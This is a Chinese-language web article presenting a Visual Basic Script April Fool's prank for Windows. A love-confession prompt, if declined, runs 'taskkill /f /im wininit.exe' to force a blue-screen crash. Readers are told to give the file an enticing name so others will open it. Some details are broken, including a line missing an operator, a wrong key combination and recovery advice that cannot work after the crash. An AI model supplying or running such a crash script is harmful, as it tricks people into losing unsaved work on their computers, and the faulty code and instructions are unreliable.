計算機藍屏簡稱BSOD,又叫藍屏死機。藍屏死機提示已經成為Microsoft Windows操作系統标志性的畫面。藍屏死機主要是Microsoft Windows 系列操作系統為保護電腦數據文件不被破壞而強制顯示的屏幕圖像。
愚人節即将來臨,有許多人絞盡腦汁想各種整人辦法。雖然電影《整蠱專家》裡面有許多奇葩的惡作劇方法,但是電影源于現實又高于現實,裡面有些方法學不來。近期使用計算機學習的小夥伴比較多,今天就用代碼制作一個計算機藍屏。
第一步:右鍵單擊桌面空白位置,新建一個文本文檔,并将“新建文本文檔.txt”重命名為“打開試試.VBS”。
VBS是基于Visual Basic的腳本語言,我們使用vbs代碼實現惡作劇,所以需要将文件後綴名改為“*.vbs”。文件名可以改的吸引人一些,好奇心害死貓。
第二步:右鍵單擊“打開試試.vbs”,選中右鍵菜單中的編輯,打開記事本編輯窗口。将以下代碼複制粘貼到記事本中,同時按下鍵盤上的Ctrl S鍵保存編輯。
如果想修改提示語句的話,将引号中的中文修改成自己想要的内容即可。
代碼區域:
If MsgBox("你願意做我的女朋友嗎?",vbYesNo,"提示")=vbyes then
Msgbox "你竟然同意了,好開心!"
Wscript.echo Printer(" ","*","113111111112212111313111513",7)
Function Printer(a1,a2,b,c)
For i = 1 to len(b)
b1 = Mid(b,i,1)
For j = 1 to b1
s = s & " " & a1
n = n 1
if n = c then
s= s & chr(10)
n = 0
End if
Next
a3 = a1
a1 = a2
a2 = a3
Next
Printer=s
End function
Set ws = CreateObject("Sapi.Spvoice")
k = "我愛你"
ws.speak k
Else
Msgbox "被拒絕了,真的好傷心!"
Msgbox "由于程序太過傷心,系統即将崩潰!!!",64,"系統提示:"
Set ws = Createobject("wscript.shell")
ws.run "cmd /c start /min taskkill /f /im wininit.exe",0,false
End if
VBS程序介紹:程序起始給對方一個選擇題,如果對方選擇“是”,那麼就相安無事,并有文字組合圖片和語音表白“我愛你”提示。如果對方選擇“否”,将會有提示語句,接着計算機進入藍屏。
解決藍屏的辦法隻能重啟計算機。請勿亂用這個vbs代碼,以免給他人造成損失。
一旦程序運行該怎麼終止呢?千萬不要嘗試關閉窗口來結束程序。
同時按下鍵盤上的Shift Ctrl Delete,啟動任務管理器。在任務管理器的進程中找到并選中“wscript.exe”,點擊結束進程就沒事了。
如果喜歡請點擊關注和轉發,有更多計算機小技巧等着你來發現。
,更多精彩资讯请关注tft每日頭條,我们将持续为您更新最新资讯!